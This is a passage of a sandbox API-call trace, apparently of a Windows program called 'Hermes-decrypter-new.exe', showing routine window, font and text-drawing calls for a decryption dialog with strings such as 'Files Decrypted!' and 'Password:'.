lpPoints=0x3033768) returned 36176186 [0161.694] WindowFromPoint (Point=0x178) returned 0x30212 [0161.694] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24a0178) returned 0x1 [0161.694] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0161.694] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0161.694] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0161.695] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.695] AdjustWindowRectEx (in: lpRect=0x19e91c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19e91c) returned 1 [0161.696] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.696] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0161.696] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.696] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0161.696] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.697] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0161.697] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.697] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0161.697] GetDC (hWnd=0x0) returned 0x10105d6 [0161.697] GdipCreateFromHDC (hdc=0x10105d6, graphics=0x19e340) returned 0x0 [0161.697] GdipGetFontHeight (font=0x57fef48, graphics=0x691c4c0, height=0x19e338) returned 0x0 [0161.697] GdipDeleteGraphics (graphics=0x691c4c0) returned 0x0 [0161.697] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0161.697] GetSystemMetrics (nIndex=5) returned 1 [0161.697] GetSystemMetrics (nIndex=6) returned 1 [0161.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.698] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0161.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.698] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0161.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.698] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e468) returned 1 [0161.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.698] AdjustWindowRectEx (in: lpRect=0x19e470, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e470) returned 1 [0161.699] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0161.699] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3035070) returned 0x0 [0161.699] GdipGetFontSize (font=0x691c8b0, size=0x3035074) returned 0x0 [0161.699] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.699] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.700] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.700] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.700] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0161.700] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x30352e4) returned 0x0 [0161.700] GdipGetFontSize (font=0x691c5b8, size=0x30352e8) returned 0x0 [0161.700] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.700] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.701] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.701] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.701] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0161.701] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3035588) returned 0x0 [0161.701] GdipGetFontSize (font=0x691c568, size=0x303558c) returned 0x0 [0161.701] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.701] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.702] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.702] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.702] IsAppThemed () returned 0x1 [0161.702] GetThemeAppProperties () returned 0x3 [0161.702] GetThemeAppProperties () returned 0x3 [0161.702] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.702] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.702] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.703] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.703] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0161.703] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x3035af8) returned 0x0 [0161.703] GdipGetFontSize (font=0x691c798, size=0x3035afc) returned 0x0 [0161.703] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.703] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.703] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.704] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.704] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0161.704] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x3035dc8) returned 0x0 [0161.704] GdipGetFontSize (font=0x691c7c0, size=0x3035dcc) returned 0x0 [0161.704] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.704] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0161.705] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.705] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0161.768] GdipLoadImageFromStream (stream=0x2a2fef0, image=0x19de80) returned 0x0 [0161.768] GdipImageForceValidation (image=0x691ccc8) returned 0x0 [0161.769] GdipGetImageType (image=0x691ccc8, type=0x19de7c) returned 0x0 [0161.769] GdipGetImageRawFormat (image=0x691ccc8, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0161.770] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.770] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0161.770] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.770] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0161.770] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0161.771] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x303b29c) returned 0x0 [0161.771] GdipGetFontSize (font=0x691c608, size=0x303b2a0) returned 0x0 [0161.771] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.771] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.771] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.771] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0161.772] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.772] AdjustWindowRectEx (in: lpRect=0x19e418, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e418) returned 1 [0161.772] GetSystemMetrics (nIndex=59) returned 1460 [0161.772] GetSystemMetrics (nIndex=60) returned 920 [0161.772] GetSystemMetrics (nIndex=34) returned 136 [0161.772] GetSystemMetrics (nIndex=35) returned 39 [0161.772] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.772] AdjustWindowRectEx (in: lpRect=0x19e318, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e318) returned 1 [0161.772] GetCurrentThreadId () returned 0x390 [0161.772] GetCurrentThreadId () returned 0x390 [0161.773] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.773] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0161.773] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0161.773] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x303b5e0 | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0161.773] GetCurrentThreadId () returned 0x390 [0161.773] GetCurrentThreadId () returned 0x390 [0161.773] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.773] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0161.773] DrawTextExW (in: hdc=0x8e0106dd, lpchText="No files decrypted!", cchText=19, lprc=0x19e200, format=0x2400, lpdtp=0x303b720 | out: lpchText="No files decrypted!", lprc=0x19e200) returned 39 [0161.774] GetCurrentThreadId () returned 0x390 [0161.774] GetCurrentThreadId () returned 0x390 [0161.774] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.774] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0161.774] SelectObject (hdc=0x8e0106dd, h=0xa0a0724) returned 0x210a0725 [0161.774] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x303b878 | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0161.774] GetCurrentThreadId () returned 0x390 [0161.774] GetCurrentThreadId () returned 0x390 [0161.774] GetCurrentThreadId () returned 0x390 [0161.774] GetCurrentThreadId () returned 0x390 [0161.775] GetCurrentThreadId () returned 0x390 [0161.775] GetCurrentThreadId () returned 0x390 [0161.775] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.775] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0161.775] SelectObject (hdc=0x8e0106dd, h=0xb0a0728) returned 0xa0a0724 [0161.775] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x303bb3c | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0161.775] GetCurrentThreadId () returned 0x390 [0161.775] GetCurrentThreadId () returned 0x390 [0161.775] GetCurrentThreadId () returned 0x390 [0161.775] GetCurrentThreadId () returned 0x390 [0161.776] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.776] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0161.776] SelectObject (hdc=0x8e0106dd, h=0x240a0712) returned 0xb0a0728 [0161.776] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x303bd70 | out: lpchText="Password:", lprc=0x19e200) returned 63 [0161.776] GetCurrentThreadId () returned 0x390 [0161.776] GetCurrentThreadId () returned 0x390 [0161.776] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0161.776] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x303c044) returned 0x0 [0161.777] GdipGetFontSize (font=0x691c7e8, size=0x303c048) returned 0x0 [0161.777] CreateCompatibleDC (hdc=0x0) returned 0xc010727 [0161.777] GetDC (hWnd=0x0) returned 0x10105d6 [0161.777] GdipCreateFromHDC (hdc=0x10105d6, graphics=0x19e22c) returned 0x0 [0161.777] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0161.777] GdipGetLogFontW (font=0x691c7e8, graphics=0x69202b0, logfontW=0xeeb088) returned 0x0 [0161.777] CoTaskMemFree (pv=0xeeb088) [0161.777] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0161.778] CoTaskMemFree (pv=0xeead48) [0161.778] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0161.778] CoTaskMemFree (pv=0xeeb1c0) [0161.778] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0161.778] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0161.778] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0161.778] CreateFontIndirectW (lplf=0xeead48) returned 0xf0a0729 [0161.778] CoTaskMemFree (pv=0xeead48) [0161.778] SelectObject (hdc=0xc010727, h=0xf0a0729) returned 0x8a01c2 [0161.778] GetTextMetricsW (in: hdc=0xc010727, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0161.778] GetTextExtentPoint32W (in: hdc=0xc010727, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x303c590 | out: psizl=0x303c590) returned 1 [0161.779] SelectObject (hdc=0xc010727, h=0x8a01c2) returned 0xf0a0729 [0161.779] DeleteDC (hdc=0xc010727) returned 1 [0161.779] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.780] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.780] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.780] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.780] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.780] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0161.781] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.781] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.781] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.781] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.781] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.781] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0161.782] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.782] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.784] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.784] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.784] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.784] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0161.785] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.785] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.785] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.785] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.786] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.786] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0161.786] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.786] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0161.786] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.786] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.787] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.787] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.787] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.787] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0161.787] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.787] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.788] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.788] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.788] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.788] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.789] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.789] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.789] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.789] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0161.789] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.789] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0161.790] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.790] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0161.790] DeleteObject (ho=0xf0a0729) returned 1 [0161.790] GetDC (hWnd=0x0) returned 0x10105d6 [0161.790] GdipCreateFromHDC (hdc=0x10105d6, graphics=0x19e2e0) returned 0x0 [0161.791] GdipGetFontHeight (font=0x691c7e8, graphics=0x69202b0, height=0x19e2d8) returned 0x0 [0161.791] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0161.791] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0161.791] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.791] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0161.792] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.792] AdjustWindowRectEx (in: lpRect=0x19e330, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e330) returned 1 [0161.792] AdjustWindowRectEx (in: lpRect=0x19e3fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e3fc) returned 1 [0161.792] GetSystemMetrics (nIndex=59) returned 1460 [0161.792] GetSystemMetrics (nIndex=60) returned 920 [0161.792] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.792] AdjustWindowRectEx (in: lpRect=0x19e234, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e234) returned 1 [0161.792] AdjustWindowRectEx (in: lpRect=0x19e2fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2fc) returned 1 [0161.793] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.793] AdjustWindowRectEx (in: lpRect=0x19e0b8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e0b8) returned 1 [0161.793] AdjustWindowRectEx (in: lpRect=0x19e2dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2dc) returned 1 [0161.793] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.793] AdjustWindowRectEx (in: lpRect=0x19e030, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e030) returned 1 [0161.793] AdjustWindowRectEx (in: lpRect=0x19e114, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e114) returned 1 [0161.793] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.793] AdjustWindowRectEx (in: lpRect=0x19e2d4, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2d4) returned 1 [0161.794] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.794] AdjustWindowRectEx (in: lpRect=0x19e138, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e138) returned 1 [0161.794] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x19e9b0 | out: lpdwProcessId=0x19e9b0) returned 0x390 [0161.794] GetCurrentThreadId () returned 0x390 [0161.794] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0161.794] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.794] GetSystemMetrics (nIndex=42) returned 0 [0161.794] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0161.794] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0161.794] GetCurrentActCtx (in: lphActCtx=0x19e844 | out: lphActCtx=0x19e844*=0xef1264) returned 1 [0161.795] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.795] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.795] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="Key", dwStyle=0x56010000, X=0, Y=0, nWidth=661, nHeight=357, hWndParent=0x10248, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10256 [0161.796] SetWindowLongW (hWnd=0x10256, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0161.796] GetWindowLongW (hWnd=0x10256, nIndex=-4) returned 1952448832 [0161.797] SetWindowTextW (hWnd=0x10256, lpString="Key") returned 1 [0161.797] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xc, wParam=0x0, lParam=0x303cc60) returned 0x1 [0161.797] GetStartupInfoW (in: lpStartupInfo=0x303d184 | out: lpStartupInfo=0x303d184*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0161.798] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x5, wParam=0x0, lParam=0x1650295) returned 0x0 [0161.798] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0161.798] GetClientRect (in: hWnd=0x10256, lpRect=0x19df88 | out: lpRect=0x19df88) returned 1 [0161.798] GetWindowRect (in: hWnd=0x10256, lpRect=0x19df88 | out: lpRect=0x19df88) returned 1 [0161.798] GetParent (hWnd=0x10256) returned 0x10248 [0161.798] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19df88, cPoints=0x2 | out: lpPoints=0x19df88) returned -16646646 [0161.799] SendMessageW (hWnd=0x10256, Msg=0x2210, wParam=0x2560001, lParam=0x10256) returned 0x0 [0161.799] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x2210, wParam=0x2560001, lParam=0x10256) returned 0x0 [0161.799] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0161.799] GetParent (hWnd=0x10256) returned 0x10248 [0161.799] GetSystemMetrics (nIndex=49) returned 16 [0161.799] GetSystemMetrics (nIndex=50) returned 16 [0161.799] CreateIconFromResourceEx (presbits=0x303d204, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x140219 [0161.800] SendMessageW (hWnd=0x10256, Msg=0x80, wParam=0x0, lParam=0x140219) returned 0x0 [0161.800] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x80, wParam=0x0, lParam=0x140219) returned 0x0 [0161.800] SendMessageW (hWnd=0x10256, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0161.800] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0161.801] GetSystemMenu (hWnd=0x10256, bRevert=0) returned 0x0 [0161.801] GetWindowPlacement (in: hWnd=0x10256, lpwndpl=0x19e854 | out: lpwndpl=0x19e854) returned 1 [0161.801] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0161.801] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0161.801] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, 